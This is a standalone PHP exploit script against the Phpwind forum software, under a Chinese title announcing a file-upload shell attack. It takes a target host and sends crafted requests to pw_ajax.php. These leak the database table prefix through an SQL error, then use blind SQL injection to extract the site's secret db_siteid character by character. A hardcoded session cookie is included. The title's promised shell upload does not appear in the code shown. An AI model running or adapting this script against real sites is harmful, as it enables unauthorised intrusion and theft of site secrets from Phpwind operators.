Phpwind 注入漏洞以及利用之二：文件上传拿shell

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpwind
Example:
php '.$argv[0].' localhost /
--------------------------------------------------------------------------------
');
die;
}

function getrand($i)
{
for($j=0;$j<=$i-1;$j++)
{
srand((double)microtime()*1000000);
$randname=rand(!$j ? 1: 0,9);
$randnum.=$randname;
}
return $randnum;
}

function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$prefix="pw_";

//modify cookie and agent
$cookie="e7edf_c_stamp=1284046856; cnzz_a2173231=5; sin2173231=none; rtime=0; ltime=1284047146468; cnzz_eid=78886253-1284032004-; e7edf_lastpos=other; e7edf_cknum=AAsNUQgKAQcABms%2FUVoCAFVWVwsCVggIUgNRU1BQDloCA1IDAwkEVwpcBQc%3D; e7edf_ol_offset=291; e7edf_ipstate=1284032143; e7edf_winduser=AAgGVTFYBQEGBlsPAVpUBAMDCVxQBg5dUFRWVAADBQFTBwUHAjA%3D; e7edf_ck_info=%2F%09; cnzz_user=oldjun; e7edf_lastvisit=22%091284046856%09%2Fpw_ajax.php%3Faction%3Djobpop%26nowtime%3D1284047153125%26verify%3D7abd84b0; e7edf_jobpop=1";
$useragent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Fuck GFW; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}

/*get $prefix*/
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&pctype=topic&id=1 HTTP/1.0\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("in your SQL syntax",$html))
{
$temp=explode("FROM ",$html);
if(isset($temp[1])){$temp2=explode("topicvalue1",$temp[1]);}
if($temp2[0])
$prefix=$temp2[0];
echo "[+]prefix -> ".$prefix."\n";
echo "[~]exploting now,plz waiting\r\n";
}else{
die("Wrong path or not Login!!!\r\n".$html);
}

/*get db_siteid*/
$chars[0]=0;//null
$chars=array_merge($chars,range(30,39)); //hex-numbers
$chars=array_merge($chars,range(61,66));//hex- a-f letters
$db_siteid="";$str="";$sql="";
while (strlen($db_siteid)<32)
{
for ($i=30; $i<=66; $i++)
{
if (in_array($i,$chars))
{
$sql="0x".$str.$i."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=db_name/**/from/**/".$prefix."config/**/where/**/db_name/**/like/**/0x64625F736974656964/**/and/**/db_value/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//die($html);
if (!eregi("fail",$html))
{
$str=$str.$i;
$db_siteid.=hex2asc($i);
echo"[+]pwd:".$db_siteid."\r\n";break;}
}
if ($i==66) {die("Exploit failed...");}
}
}
print_r('
--------------------------------------------------------------------------------
[+]db_siteid -> '.$db_siteid.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($db_siteid)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}

function hex2asc($str) {
$str = join('',explode('\x',$str));
$len = strlen($str);
for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
return $data;
}
function asc2hex($str){
$hex=base_convert($str,10,16);
return strlen($hex)==2?$hex:"0".$hex;
}
?>